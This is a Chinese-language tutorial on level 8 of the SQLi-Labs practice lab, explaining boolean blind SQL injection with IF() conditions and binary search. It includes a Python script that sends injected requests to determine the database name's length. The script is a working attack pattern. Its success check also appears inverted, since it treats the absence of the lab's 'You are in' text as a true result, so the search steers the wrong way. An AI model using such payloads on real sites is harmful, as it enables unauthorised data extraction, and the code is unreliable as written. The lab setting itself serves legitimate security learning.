攻克sqli-labs第八关（布尔盲注）

### 关于 SQLi-Labs 第八关布尔盲注解决方案

在探讨 SQLi-Labs 的第八关布尔盲注时，了解其核心在于利用条件查询来逐位推断出数据库的信息。具体来说，在此场景中，攻击者可以发送一系列精心构建的 HTTP 请求给服务器，并基于页面返回的不同响应（通常是两种不同的状态），逐步获取目标数据。

对于布尔型盲注而言，通常会使用 `IF()` 函数配合逻辑表达式来进行测试[^1]。例如：

IF(条件, true部分, false部分);

当尝试确定数据库名长度时，可以通过调整注入语句中的数值参数并观察网页反应变化来完成这一过程。如果当前猜测值小于实际库名长度，则应得到一个特定的结果；反之亦然。这有助于缩小范围直至找到确切大小。

为了提高效率，还可以采用二分查找算法代替线性的逐一试探方法。这种方法能够显著减少所需请求次数，尤其是在处理较长字符串的情况下特别有效。

以下是用于自动化执行上述操作的一个简化版 Python 脚本片段，它展示了如何结合布尔盲注技术与编程手段快速定位数据库名称：

import requests

def decide(url, payload):
    response = requests.get(url + "?id=" + payload)
    return "You are in" not in response.text  # 判断依据取决于应用的具体反馈机制

def ruler(length_min, length_max):
    while length_min <= length_max:
        mid = (length_min + length_max) // 2
        if decide(base_url, f"1' AND IF(LENGTH(database())>{mid},true,false)%23"):
            length_min = mid + 1
        else:
            length_max = mid - 1
    return length_min

base_url = 'http://example.com/sqli-labs/Less-8/'
db_name_length = ruler(0, 20)

print(f"The database name is {db_name_length} characters long.")

这段代码实现了对数据库名字串长度的有效探测。在此基础上进一步扩展功能即可实现完整的数据库信息提取流程。